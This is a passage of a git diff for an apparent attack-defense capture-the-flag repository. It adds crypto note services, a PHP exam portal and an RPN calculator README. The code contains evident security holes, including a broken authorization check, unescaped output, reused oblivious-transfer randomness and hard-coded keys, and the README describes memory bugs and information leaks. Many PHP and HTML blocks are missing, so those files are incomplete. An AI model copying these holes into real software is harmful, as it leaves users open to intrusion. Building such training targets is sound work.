nwires-n_outs + inner_gates = [] + output_gates = [] + for x in the_order: + if x >= last: + output_gates.append(gates[x]) + else: + inner_gates.append(gates[x]) + return (inputA, inputB), inner_gates, output_gates + + +def build_circuit_AES128(): + return build_circuit_AES("aes_128.txt") + + +def garble(circuit, true_input, to_hex=True): + (inputA, inputB), gates, outputs = circuit + R = rnd() + for out in outputs: + out.garble(R) + + encoded_inputA = [Ain.encode_wires(to_hex)[x] for Ain, x in zip(inputA, true_input)] + encoded_inputB = [Bin.encode_wires(to_hex) for Bin in inputB] + + encoded_gates = [x.encode(to_hex) for x in gates+outputs] + wires_out = [x.encode_wires(to_hex) for x in sorted(outputs, key=lambda el: el.idx)] + + return (encoded_inputA, encoded_inputB), encoded_gates, wires_out + + +def evaluate(garbled_circuit, inputs, wires_out, to_hex=True): + enc_A, enc_B = inputs + vals = enc_A+enc_B+[None]*len(garbled_circuit) + for g in garbled_circuit: + idx, opv, ins, gate = g + k = [vals[i] for i in ins] + cur = decode_gate(opv, gate, k, to_hex) + assert cur is not None + vals[idx] = cur + + n_outs = len(wires_out) + vals_out = vals[-n_outs:] + out = [w.index(v) for v, w in zip(vals_out, wires_out)] + return out diff --git a/services/service2/src/encryptednotes/app/ot.py b/services/service2/src/encryptednotes/app/ot.py new file mode 100644 index 0000000..b51890a --- /dev/null +++ b/services/service2/src/encryptednotes/app/ot.py @@ -0,0 +1,62 @@ +from Crypto.Util.number import getPrime, inverse +from Crypto.Random import random +import gmpy2 + + +class Sender: + def __init__(self, m): + self.m = m + p, q = getPrime(512), getPrime(512) + e, N = 65537, p*q + phi = (p-1)*(q-1) + d = inverse(e, phi) + + self.N = N + self.e = e + self.d = d + + def round1(self): + x = [(random.randrange(1 << 128), random.randrange(1 << 128))]*len(self.m) + self.x = x + return (self.N, self.e), x + + def round3(self, v): + n = len(v) + assert n == len(self.m) + c = [] + for i in range(n): + k = [int(gmpy2.powmod(v[i]-t, self.d, self.N)) for t in self.x[i]] + cc = [(kk+mm) % self.N for kk, mm in zip(k, self.m[i])] + c.append(cc) + return c + + +class Receiver: + def __init__(self, b): + self.b = b + + def round2(self, pk, x): + N, e = pk + n = len(x) + assert n == len(self.b) + + v = [] + k = [] + for i in range(n): + kk = random.randrange(1 << 2048) + k.append(kk) + cur = x[i][self.b[i]] + pow(kk, e, N) + v.append(cur % N) + self.k = k + self.N = N + return v + + def decode(self, c): + n = len(c) + assert n == len(self.b) + + m = [] + for i in range(n): + mm = (c[i][self.b[i]]-self.k[i]) % self.N + m.append(mm) + return m diff --git a/services/service2/src/encryptednotes/app/requirements.txt b/services/service2/src/encryptednotes/app/requirements.txt new file mode 100644 index 0000000..3da60b9 --- /dev/null +++ b/services/service2/src/encryptednotes/app/requirements.txt @@ -0,0 +1,2 @@ +gmpy2==2.1.2 +pycryptodome==3.14.1 diff --git a/services/service2/src/encryptednotes/app/server.py b/services/service2/src/encryptednotes/app/server.py new file mode 100644 index 0000000..7db7885 --- /dev/null +++ b/services/service2/src/encryptednotes/app/server.py @@ -0,0 +1,176 @@ +from gates import build_circuit_echo, build_circuit_AES128, garble +from ot import Sender +import json +import zlib +import base64 +from hashlib import sha256 +import os +import string +from Crypto.Cipher import AES +from auth import handle_token + +alphabet = string.digits+string.ascii_letters+string.punctuation + + +def decode_token(token): + #return token + return handle_token(token) + + +def do_mkdir(fn): + if not os.path.isdir(fn): + os.mkdir(fn) + + +def write_file(user, name, get_val): + fn = sha256(user.encode()).hexdigest() + base_dir = f"data/{fn}" + do_mkdir(base_dir) + path = os.path.join(base_dir, name) + if os.path.exists(path): + print(f"You already set a {name}!") + exit(0) + val = get_val() + try: + open(path, "x").write(val) + except: + print("Something went wrong!") + exit(1) + + +def read_file(user, name): + fn = sha256(user.encode()).hexdigest() + base_dir = f"data/{fn}" + if not os.path.isdir(base_dir): + print("The user didn't save anything!") + exit(1) + path = os.path.join(base_dir, name) + if not os.path.isfile(path): + print(f"The {name} file doesn't exist!") + exit(1) + try: + val = open(path).read().strip() + return val + except: + print("Something went wrong!") + exit(1) + + +def set_keyword(user): + def get_val(): + keyword = input("Tell me a secret: ") + if len(keyword) != 16 or not all(s in alphabet for s in keyword): + print("This is a strange keyword...") + exit(0) + return keyword + + write_file(user, "keyword", get_val) + + +def get_keyword(user): + keyword = read_file(user, "keyword") + assert len(keyword) == 16 + return keyword + + +def set_public(user): + def get_val(): + keyword = get_keyword(user) + plaintext = input("Tell me a piece of text: ") + if len(plaintext) != 32 or not all(s in alphabet for s in keyword): + print("This is a strange text...") + exit(0) + cipher = AES.new(keyword.encode(), AES.MODE_ECB) + ct = cipher.encrypt(plaintext.encode()) + return ct.hex() + + write_file(user, "data", get_val) + + +def get_public(): + user = input("Choose a user: ") + ct = read_file(user, "data") + assert len(ct) == 64 + print(ct) + + +def bytes2bits(b): + bits = ''.join(f'{x:08b}' for x in b) + return list(map(int, bits)) + + +circuits = { + 1: build_circuit_echo, + 2: build_circuit_AES128 +} + + +def private_encrypt(): + user = input("Choose a user: ") + keyword = get_keyword(user) + + print("Choose a circuit") + print("1. Echo") + print("2. Encrypt") + c = int(input("> ")) + circuit = circuits[c]() + + true_input = bytes2bits(keyword.encode()) + if c == 2: + true_input = true_input[::-1] + + (enc_A, enc_B), garbled_circuit, wires_out = garble(circuit, true_input) + enc_B_num = [[int(x[0], 16), int(x[1], 16)] for x in enc_B] + sender = Sender(enc_B_num) + (N, e), x = sender.round1() + + data = { + "circuit": { + "enc_A": enc_A, + "gates": garbled_circuit, + "wires_out": wires_out + }, + "ot": { + "N": N, + "e": e, + "x": x + } + } + compressed = zlib.compress(json.dumps(data).encode()) + to_send = base64.b64encode(compressed) + print(to_send.decode()) + + recv = json.loads(input()) + v = recv["v"] + + c = sender.round3(v) + print(json.dumps({"c": c})) + + +def main(): + print("Welcome to EncryptedNotes!") + token = input("Input your token: ") + user = decode_token(token) + + while True: + print("What do you want to do?") + print("1. Set a keyword") + print("2. Public encrypt") + print("3. Private encrypt") + print("4. Read public") + print("5. Quit") + choice = int(input("> ")) + if choice == 1: + set_keyword(user) + if choice == 2: + set_public(user) + if choice == 3: + private_encrypt() + if choice == 4: + get_public() + if choice == 5: + exit(0) + + +if __name__ == "__main__": + main() diff --git a/services/service2/src/encryptednotes/client.py b/services/service2/src/encryptednotes/client.py new file mode 100644 index 0000000..ed87e5d --- /dev/null +++ b/services/service2/src/encryptednotes/client.py @@ -0,0 +1,123 @@ +from pwn import remote, process +import zlib +import base64 +import json +from app.gates import evaluate, VAL_LENGTH +from app.ot import Receiver +from Crypto.Cipher import AES +import sys + +PORT = 1236 + +if len(sys.argv) != 2: + print('Usage: python3 client.py ') + exit(1) + + +def bytes2bits(b): + bits = ''.join(f'{x:08b}' for x in b) + return list(map(int, bits)) + + +def bits2bytes(arr): + n = len(arr) + assert n % 8 == 0 + nbytes = n // 8 + s = "".join(map(str, arr)) + return int.to_bytes(int(s, 2), nbytes, "big") + + +class Client: + def __init__(self, host, token): + self.r = remote(host, PORT) + self.r.recvlines(1) + self.r.sendlineafter(b"token: ", token) + + def set_keyword(self, keyword): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"1") + self.r.sendlineafter(b"secret: ", keyword) + + def set_public(self, data): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"2") + self.r.sendlineafter(b"text: ", data) + + def get_public(self, user): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"4") + self.r.sendlineafter(b"user: ", user) + return self.r.recvline(False).decode() + + def run_function(self, choice, user, my_in): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"3") + self.r.sendlineafter(b"user: ", user) + self.r.recvlines(3) + self.r.sendlineafter(b"> ", str(choice).encode()) + + SIZE = 0 + data = self.r.recvline(False) + SIZE += len(data) + tmp = zlib.decompress(base64.b64decode(data)) + obj = json.loads(tmp.decode()) + print("Received object") + circ = obj["circuit"] + + N, e, x = obj["ot"]["N"], obj["ot"]["e"], obj["ot"]["x"] + in_B = bytes2bits(my_in) + assert len(in_B) == 128 + + if choice == 2: + in_B = in_B[::-1] + receiver = Receiver(in_B) + v = receiver.round2((N, e), x) + vdict = json.dumps({"v": v}) + SIZE += len(vdict) + self.r.sendline(vdict) + data = self.r.recvline(False) + SIZE += len(data) + obj = json.loads(data.decode()) + c = obj["c"] + m = receiver.decode(c) + + enc_B = [f'{x:010x}' for x in m] + print("Done OT") + + res = evaluate(circ["gates"], (circ["enc_A"], enc_B), circ["wires_out"]) + if choice == 2: + res = res[::-1] + print("Total bytes transferred", SIZE) + return bits2bytes(res) + + +token = "..." +user = b"drago" +key = b"A"*16 +data = b"Z"*32 + +choice = 0 + +if choice == 0: + # Put and retrieve data + c = Client(sys.argv[1], token) + c.set_keyword(key) + c.set_public(data) + val = c.get_public(user) + + cipher = AES.new(key.encode(), AES.MODE_ECB) + print(cipher.decrypt(bytes.fromhex(val))) + +if choice == 1: + # Run echo on self + c = Client(sys.argv[1], token) + pt = b"rn4l2p54"*2 + out = c.run_function(1, user, pt) + print(out) + +if choice == 2: + # Run encrypt on self + c = Client(sys.argv[1], token) + pt = b"rn4l2p54"*2 + out = c.run_function(2, user, pt) + print(out) diff --git a/services/service2/src/examnotes/Dockerfile b/services/service2/src/examnotes/Dockerfile new file mode 100644 index 0000000..fb58c11 --- /dev/null +++ b/services/service2/src/examnotes/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:20.04 + +RUN apt update \ + && apt install -y python3 python3-dev socat python3-pip gcc g++ make libffi-dev + +WORKDIR /service/server +ADD app/requirements.txt . +RUN pip3 install -r requirements.txt + +RUN useradd --no-create-home --shell /bin/false --uid 1000 --user-group app1 + +ADD app . +RUN mkdir data +RUN chmod +x server.py +RUN chmod -R 777 data + +USER app1 +ENV ExamNotesKey="ExamNotesAppDefaultKey0000000000" + +ENTRYPOINT socat -d TCP-LISTEN:8000,reuseaddr,fork EXEC:'timeout -k 5 30 python3 -u server.py' diff --git a/services/service2/src/examnotes/app/auth.py b/services/service2/src/examnotes/app/auth.py new file mode 100644 index 0000000..e8c62ff --- /dev/null +++ b/services/service2/src/examnotes/app/auth.py @@ -0,0 +1,33 @@ +import json +from Crypto.Cipher import AES +import sys +import time +import string +import os + +APP_KEY = os.environ["ExamNotesKey"].encode() + +ALPH = string.ascii_letters + string.digits + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +def handle_token(token): + try: + app_token, service_token = [bytes.fromhex(x) for x in token.split(".")] + cipher = AES.new(APP_KEY, AES.MODE_CTR, nonce = service_token[:8], initial_value = service_token[8:16]) + service_token = json.loads(cipher.decrypt(service_token[16:])) + user1 = bytes.fromhex(service_token["user"]) + key = bytes.fromhex(service_token["key"]) + cipher = AES.new(key, AES.MODE_CTR, nonce = app_token[:8], initial_value = app_token[8:16]) + app_token = json.loads(cipher.decrypt(app_token[16:])) + user2 = bytes.fromhex(app_token["user"]) + cur_time = int(time.time()) + assert service_token["type"] == "SERVICE_TOKEN" + assert app_token["type"] == "APP_TOKEN" + assert abs(cur_time-int(app_token["ts"]))<120 and abs(cur_time-int(service_token["ts"]))<120 + assert user1 == user2 + assert validate_string(user1.decode()) + return user1 + except: + return None diff --git a/services/service2/src/examnotes/app/requirements.txt b/services/service2/src/examnotes/app/requirements.txt new file mode 100644 index 0000000..3a09506 --- /dev/null +++ b/services/service2/src/examnotes/app/requirements.txt @@ -0,0 +1 @@ +pycryptodome==3.14.1 \ No newline at end of file diff --git a/services/service2/src/examnotes/app/server.py b/services/service2/src/examnotes/app/server.py new file mode 100644 index 0000000..d0716da --- /dev/null +++ b/services/service2/src/examnotes/app/server.py @@ -0,0 +1,96 @@ +import auth +from hashlib import sha256 +import os +import json + +base_path = "data" + +def write_note(foldername): + try: + if len(os.listdir(os.path.join(base_path, foldername))) >= 10: + print("You reached the maximum number of notes for this account") + return + except FileNotFoundError: + os.makedirs(os.path.join(base_path, foldername)) + + title = input("Title of the note: ") + + if len(title) > 20: + print("Title is too long") + return + + content = input("Content of the note: ") + + if len(content) > 100: + print("Content is too long") + return + + note = json.dumps({"title":title, "content":content}) + + try: + note_number = str(len(os.listdir(os.path.join(base_path, foldername)))) + with open(os.path.join(base_path, foldername, note_number), "x") as f: + f.write(note) + print("Note added!") + except FileExistsError: + print("Apparently you already wrote this note...") + +def list_notes(foldername): + try: + assert len(os.listdir(os.path.join(base_path, foldername))) > 0 + for f in os.listdir(os.path.join(base_path, foldername)): + title = json.loads(open(os.path.join(base_path, foldername, f), "r").read().strip())["title"] + print(f"Id: {f}, Title: {title}") + except FileNotFoundError: + print("It seems that you don't have any note") + +def read_note_by_id(foldername): + id = input("Enter your note id: ") + try: + with open(os.path.join(base_path, foldername, id), "r") as f: + note = json.loads(f.read().strip()) + print(f"Title: {note['title']}") + print(f"Content: {note['content']}") + except FileNotFoundError: + print("You must write a note before reading it!") + except Exception as e: + print(e) + +print("Welcome to ExamNotes!") +token = input("Enter your login token: ") + +username = auth.handle_token(token) + +print() + +if username is None: + print("Authentication failed") + exit(1) + +print(f"Successfully authenticated as {username.decode()}") +print() + +print("Welcome to ExamNotes 1.0!") +print("Here you can store the notes for your cyber-university courses to read them later.") + +while True: + print("What do you want to do?") + print("1. Add a new note") + print("2. List my notes") + print("3. Read a note by id") + print("0. Exit") + + foldername = sha256(username).hexdigest() + + try: + ch = int(input()) + assert ch in [1,2,3] + + if ch == 1: + write_note(foldername) + elif ch == 2: + list_notes(foldername) + else: + read_note_by_id(foldername) + except: + exit(1) diff --git a/services/service2/src/examportal/.gitignore b/services/service2/src/examportal/.gitignore new file mode 100644 index 0000000..b3deef7 --- /dev/null +++ b/services/service2/src/examportal/.gitignore @@ -0,0 +1 @@ +db/data/* \ No newline at end of file diff --git a/services/service2/src/examportal/Dockerfile b/services/service2/src/examportal/Dockerfile new file mode 100644 index 0000000..36a6567 --- /dev/null +++ b/services/service2/src/examportal/Dockerfile @@ -0,0 +1,6 @@ +FROM php:7.2-apache +RUN docker-php-ext-install mysqli + +COPY app /var/www/html + +ENV ExamPortalKey="ExamPortalAppDefaultKey000000000" diff --git a/services/service2/src/examportal/app/classes/database.php b/services/service2/src/examportal/app/classes/database.php new file mode 100644 index 0000000..6215871 --- /dev/null +++ b/services/service2/src/examportal/app/classes/database.php @@ -0,0 +1,68 @@ +connect_error) { + die("Connection failed: " . $conn->connect_error); + } + return $conn; +} + +function execute_query_noparams($query) { + $conn = create_connection(); + $result = $conn->query($query); + $res = $result->fetch_all(MYSQLI_ASSOC); + $conn->close(); + return $res; +} + +function execute_query($query, $types, $params) { + $conn = create_connection(); + $stmt = $conn->prepare($query); + $stmt->bind_param($types, ...$params); + $stmt->execute(); + if ($stmt->errno !== 0) { + echo var_dump($stmt->error); + return false; + } + $result = $stmt->get_result(); + $res = $result->fetch_all(MYSQLI_ASSOC); + $conn->close(); + return $res; +} + +function execute_insert($query, $types, $params) { + $conn = create_connection(); + $stmt = $conn->prepare($query); + $stmt->bind_param($types, ...$params); + $stmt->execute(); + if ($stmt->errno !== 0) { + echo var_dump($stmt->error); + return -1; + } + $res = $stmt->insert_id; + $conn->close(); + return $res; +} + +function get_user($username) { + $res = execute_query("SELECT * FROM users WHERE username = ?", "s", [$username]); + if (count($res)===0) return false; + return $res[0]; +} + +function add_user($username, $tfa) { + return execute_insert("INSERT INTO users SET username = ?, 2fa = ?", "ss", [$username, $tfa]); +} + +function get_all_exams() { + $exams = execute_query_noparams("SELECT id, name FROM exams", "", []); + return $exams; +} + +?> diff --git a/services/service2/src/examportal/app/classes/exam.php b/services/service2/src/examportal/app/classes/exam.php new file mode 100644 index 0000000..535dd19 --- /dev/null +++ b/services/service2/src/examportal/app/classes/exam.php @@ -0,0 +1,117 @@ +setId($id); + return $exam; + } + + public static function fromVals($owner, $name, $questions, $answers, $correct, $prize) { + $exam = new Exam(); + $exam->setOwner($owner); + $exam->setName($name); + $exam->setQuestions($questions); + $exam->setAnswers($answers); + $exam->setCorrect($correct); + $exam->setPrize($prize); + return $exam; + } + + public function DB_get() { + $res = execute_query("SELECT * FROM exams WHERE id = ?", "i", [$this->id]); + if ($res===false) return false; + if (count($res)!==1) return false; + $exam_db = $res[0]; + $this->owner = $exam_db["owner"]; + $this->name = $exam_db["name"]; + $this->questions = $exam_db["questions"]; + $this->answers = $exam_db["answers"]; + $this->correct = $exam_db["correct"]; + $this->prize = $exam_db["prize"]; + return true; + } + + public function DB_set() { + $vals = [$this->owner, $this->name, $this->questions, $this->answers, $this->correct, $this->prize]; + $res = execute_insert("INSERT INTO exams SET owner = ?, name = ?, questions = ?, answers = ?, correct = ?, prize = ?", "isssss", $vals); + if ($res === -1) return false; + $this->id = $res; + return $res; + } + + public function getId() { + return $this->id; + } + + public function setId($id) { + $this->id = $id; + } + + public function getOwner() { + return $this->owner; + } + + public function setOwner($owner) { + $this->owner = $owner; + } + + public function getName() { + return $this->name; + } + + public function setName($name) { + $this->name = $name; + } + + public function getPrize() { + return $this->prize; + } + + public function setPrize($prize) { + $this->prize = $prize; + } + + public function getQuestions() { + return explode("|", $this->questions); + } + + public function setQuestions($questions) { + $this->questions = implode("|", $questions); + } + + public function getCorrect() { + return explode("|", $this->correct); + } + + public function setCorrect($correct) { + $this->correct = implode("|", $correct); + } + + public function getAnswers() { + $ans = explode("|", $this->answers); + $res = []; + foreach($ans as $a) array_push($res, explode(";", $a)); + return $res; + } + + public function setAnswers($answers) { + $ans = []; + foreach($answers as $a) array_push($ans, implode(";", $a)); + $this->answers = implode("|", $ans); + } +} diff --git a/services/service2/src/examportal/app/classes/user.php b/services/service2/src/examportal/app/classes/user.php new file mode 100644 index 0000000..cbdb11a --- /dev/null +++ b/services/service2/src/examportal/app/classes/user.php @@ -0,0 +1,44 @@ +username = $username; + } + + public function do_login($tfa) { + $db_user = get_user($this->username); + if ($db_user === false) { + // add the user, trusting the login token + if ($tfa === "") $tfa = NULL; + $res = add_user($this->username, $tfa); + if ($res === -1) return false; + $this->id = $res; + $this->tfa = $tfa; + return true; + } + if (($db_user["2fa"] !== NULL) && ($db_user["2fa"] !== $tfa)) return false; + $this->id = $db_user["id"]; + $this->tfa = $db_user["2fa"]; + return true; + } + + public function getId() { + return $this->id; + } + + public function getUsername() { + return $this->username; + } + + public function has2fa() { + return ($this->tfa !== NULL); + } +} + +?> diff --git a/services/service2/src/examportal/app/exam.php b/services/service2/src/examportal/app/exam.php new file mode 100644 index 0000000..fef9866 --- /dev/null +++ b/services/service2/src/examportal/app/exam.php @@ -0,0 +1,143 @@ +DB_get() === false) die("Can't find exam!"); +$name = $exam->getName(); +$questions = $exam->getQuestions(); +$answers = $exam->getAnswers(); +if (count($questions) !== count($answers)) die("Malformed exam"); +$letters = ["A", "B", "C", "D"]; + +?> + + + + + + + + + + + + + ExamPortal - Exam + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + + +

        Exam:

        + +
        + + + + $q) { + echo "
        Question: $q
        "; + echo "\n"; + } ?> + +
        + +
        +
        +
        + + +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/src/examportal/app/exam_create.php b/services/service2/src/examportal/app/exam_create.php new file mode 100644 index 0000000..f9d3d06 --- /dev/null +++ b/services/service2/src/examportal/app/exam_create.php @@ -0,0 +1,153 @@ +has2fa()) die("Two factor authentication is needed for creating exams"); + + $owner = $user->getId(); + $name = htmlspecialchars($_POST["name"]); + $prize = htmlspecialchars($_POST["prize"]); + + $questions = []; + $answers = []; + $correct = []; + + $i = 0; + while (array_key_exists("question_${i}", $_POST)) { + $q = $_POST["question_${i}"]; + $a = [$_POST["answer_${i}_0"], $_POST["answer_${i}_1"], $_POST["answer_${i}_2"], $_POST["answer_${i}_3"]]; + $c = $_POST["correct_${i}"]; + + array_push($questions, $q); + array_push($answers, $a); + array_push($correct, $c); + $i++; + } + + $exam = Exam::fromVals($owner, $name, $questions, $answers, $correct, $prize); + $res = $exam->DB_set(); + if ($res !== false) header("Location: /exam_view.php?id=${res}"); +} + +?> + + + + + + + + + + + + + + ExamPortal - Create exam + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + +

        Create a new exam

        + +
        + +
        + + +
        + + + + + + "; + echo "
        "; + echo "
        "; + echo "
        "; + echo "
        "; + echo "
        "; + echo "
        "; + } + ?> + + + +
        + +
        + + +
        + + +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/src/examportal/app/exam_list.php b/services/service2/src/examportal/app/exam_list.php new file mode 100644 index 0000000..2079271 --- /dev/null +++ b/services/service2/src/examportal/app/exam_list.php @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + ExamPortal - Exam list + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + +

        Exam lists

        +
        + $exam) { + $id = $exam["id"]; + $name = $exam["name"]; + echo " $name\n"; + } + ?> +
        + +
        +
        +
        + + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + diff --git a/services/service2/src/examportal/app/exam_submit.php b/services/service2/src/examportal/app/exam_submit.php new file mode 100644 index 0000000..3304f6d --- /dev/null +++ b/services/service2/src/examportal/app/exam_submit.php @@ -0,0 +1,26 @@ + "Login is required"])); + +if (isset($_POST)) { + $obj = json_decode(file_get_contents("php://input"), true); + $id = $obj["id"]; + $exam = Exam::fromId($id); + if ($exam->DB_get() == false) die("No such exam"); + $correct = $exam->getCorrect(); + $num = count($correct); + $score = 0; + foreach($correct as $i=>$corr_ans) { + $given_ans = $obj["answers"][$i]; + if ($corr_ans == $given_ans) $score++; + } + if ($score == $num) $message = $exam->getPrize(); + else $message = "Better luck next time!"; + + echo json_encode(["msg" => $message]); +} +?> diff --git a/services/service2/src/examportal/app/exam_view.php b/services/service2/src/examportal/app/exam_view.php new file mode 100644 index 0000000..b621e71 --- /dev/null +++ b/services/service2/src/examportal/app/exam_view.php @@ -0,0 +1,120 @@ +DB_get() == false) die("No such exam"); +$can_view = $user->has2fa() and $exam->getOwner() === $user->getId(); +if (!$can_view) die("Unauthorized"); + +$name = $exam->getName(); +$questions = $exam->getQuestions(); +$answers = $exam->getAnswers(); +$correct = $exam->getCorrect(); +$letters = ["A", "B", "C", "D"]; +?> + + + + + + + + + + + + + ExamPortal - Exam view + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + +

        Exam - admin panel

        + +
        + + + $q) { + + + $curans = $answers[$i]; + echo "
        Question:
        "; + echo "
        $q
        "; + echo "
          "; + + foreach ($curans as $j => $a) { + if ($letters[$j] == $correct[$i]) echo "
        • $a
        • "; + else echo "
        • $a
        • "; + } + echo "
        "; + echo "
        "; + } ?> + +
        + +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/src/examportal/app/index.php b/services/service2/src/examportal/app/index.php new file mode 100644 index 0000000..af1f636 --- /dev/null +++ b/services/service2/src/examportal/app/index.php @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + ExamPortal - Homepage + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        +

        Available services:

        +
        + List all exams + has2fa()) { ?> + Create a new exam + +
        +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/src/examportal/app/login.php b/services/service2/src/examportal/app/login.php new file mode 100644 index 0000000..701dd03 --- /dev/null +++ b/services/service2/src/examportal/app/login.php @@ -0,0 +1,110 @@ +do_login($_POST["2fa"])) { + $_SESSION["user"] = $user; + header("Location: /index.php"); + } else { + echo "Authentication failed!"; + } +} + +?> + + + + + + + + + + + + + ExamPortal - Login + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        +

        Login

        + +
        +
        + + +
        + + + +
        + +
        +
        + +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/src/examportal/app/logout.php b/services/service2/src/examportal/app/logout.php new file mode 100644 index 0000000..3abdd6e --- /dev/null +++ b/services/service2/src/examportal/app/logout.php @@ -0,0 +1,5 @@ + diff --git a/services/service2/src/examportal/app/utils.php b/services/service2/src/examportal/app/utils.php new file mode 100644 index 0000000..303a0d9 --- /dev/null +++ b/services/service2/src/examportal/app/utils.php @@ -0,0 +1,48 @@ +7) and (strlen($s)<65); +} + +function decode_token($token) { + $app_key = getenv("ExamPortalKey"); + try { + $pieces = explode(".", $token); + $app_token = $pieces[0]; + $service_token = $pieces[1]; + + $st_nonce = substr($service_token, 0, 32); + $st_enc = substr($service_token, 32); + + $st_val = decrypt($st_enc, $app_key, $st_nonce); + $st = json_decode($st_val, true); + if ($st === false) return false; + + $user1 = hex2bin($st["user"]); + $key = hex2bin($st["key"]); + $at_nonce = substr($app_token, 0, 32); + $at_enc = substr($app_token, 32); + $at_val = decrypt($at_enc, $key, $at_nonce); + $at = json_decode($at_val, true); + if ($at === false) return false; + + $user2 = hex2bin($at["user"]); + if ($st["type"] !== "SERVICE_TOKEN") return false; + if ($at["type"] !== "APP_TOKEN") return false; + if ($user1 !== $user2) return false; + if (validate_username($user1)) return $user1; + else return false; + } catch (Exception $e) { + echo 'Caught exception: ', $e->getMessage(), "\n"; + return false; + } +} + + +?> diff --git a/services/service2/src/examportal/db/init/init.sql b/services/service2/src/examportal/db/init/init.sql new file mode 100644 index 0000000..8c515cc --- /dev/null +++ b/services/service2/src/examportal/db/init/init.sql @@ -0,0 +1,18 @@ +USE examportal; + +CREATE TABLE users ( + id INT PRIMARY KEY AUTO_INCREMENT, + username VARCHAR(30) NOT NULL UNIQUE, + 2fa VARCHAR(10) +); + +CREATE TABLE exams( + id INT PRIMARY KEY AUTO_INCREMENT, + owner INT NOT NULL, + name VARCHAR(100), + questions TEXT, + answers TEXT, + correct VARCHAR(500), + prize VARCHAR(32), + FOREIGN KEY (owner) REFERENCES users(id) +); diff --git a/services/service3/README.md b/services/service3/README.md new file mode 100644 index 0000000..e2054d2 --- /dev/null +++ b/services/service3/README.md @@ -0,0 +1,86 @@ +# RPN Calculator + +| Service 3 | RPN Calculator | +| :------------ | :------------------------------------------------------------------ | +| Author(s) | @zxgio | +| Store(s) | 2 | +| Category(ies) | pwn | +| Port(s) | 1337 | +| FlagId(s) | None | +| Checker(s) | [store1](/checkers/5/checker.py) / [store2](/checkers/6/checker.py) | + +![](../../img/rpn.png) + +## Description + +This service is a reverse-polish notation calculator that allows users to permanently store a limited number of string/integer variables. +Variables are saved into the regular file `flag-store`, and older variables are replaced by new ones. + +Flags are stored as string variables, with random-appearing names (the names are deterministic, but unknown to players). + +Inside the process, those variables are split in two different "stores", that is memory areas. +This means that exploiting a vulnerability may give you (in)direct access to some flags, but not necessarily all of them. + +To prevent a team from overwriting the variables set by other teams or by the checker, a maximum number of variables is reserved for each team within each store. +To enforce this rule, without requiring a login process, when a user requests to set/update a variable, the service issues a cryptographic challenge which must be signed with their secret key using EdDSA (Curve25519 and BLAKE2b). +An example script, which can be used interactively, is provided in `sign_challenge.py`. + +The script `gen_keys.py` generates: + +- a set of 8 new signing (`sk0`...`sk7`) and verifying (`vk0`...`vk7`) keys +- a Python source `s_keys.py`, with signing keys, to be used in the checker +- a C source `v_keys.c`, with verifying keys, to be used in the service source `rpn.c` + +The program is configured to work with up to 8 signing entities: the checker + up to 7 teams. The checker must use key number 0, otherwise some exploits may fail. Each entity can use up to 8 (`MAX_VAR_IN_STORE_PER_SIGNER` in `rpn.c`) slots in each variable store, whose size is 64 (`N_VARS_PER_STORE` in `rpn.c`). To accommodate more teams, you need to adjust these constants; e.g., you can have up to 15 teams by setting `MAX_VAR_IN_STORE_PER_SIGNER` to 4. + +## Vulnerabilities + +### Debug-mode + +A low-hanging fruit to get all the flags at once is using the command `VARS`. +However, this command can only be used in debug-mode, which is disabled. +Moreover, it cannot be enabled, since environment variable `DEVELOPMENT_MODE` is not defined in the running environment. + +However, there are a couple of bugs that allow an attacker to enable debug-mode: + +1. The current numerical-base (dec/hex/oct), encoded as 2-bits, and the debug flag are stored inside the same integer. The command `NEXT_BASE`, which switches numerical bases, is implemented using a wrong bitmask and a repeated use of such a command enables debug-mode +2. In string-literal parsing, double-backslash escape sequences are wrongly handled, allowing an attacker to overwrite/enable debug-mode by underflowing a buffer + +### Leaks + +1. By crafting a malformed octal integer of maximal length an attacker can leak all names of variables in store1 via the error message +2. The command `PICK` does not correctly check negative indexes, allowing to leak values from store1 +3. The command `SWAP` has an undocumented parameter, that can be found by reversing the program, that allows an attacker to read (but not write, since the command does not really "swap" in those cases) from store1 +4. Pushing identifiers on a full stack allows to freely increase its size, without actually growing the stack. So, an attacker can leverage the command `PICK`, with large indexes, to read from store2 +5. Because of a wrong format string (`"%sd"` instead of `"%jd"`) the error message used when a Unix-time is out of range, in command `TIME_TO_STR`, leaks the content of store2 as a string + +### Arbitrary read-primitives + +There are two arbitrary read-primitives, hidden as undocumented commands. One, `PEEK`, should be clearly visible when reversing the tokenize routine. +To discover the other one, `[todo]HxD`, a reverser must first reconstruct how command names are hashed (to be used as index in a binary tree), and then recover all names. + +These two potential vulnerabilities must be combined with a leak, in order to defeat ASLR. +And there are, indeed, two leaks: + +1. The integer literal `0x0ddba11` is shown as its address when printing the stack (this can be classified more as a "backdoor" than a bug) 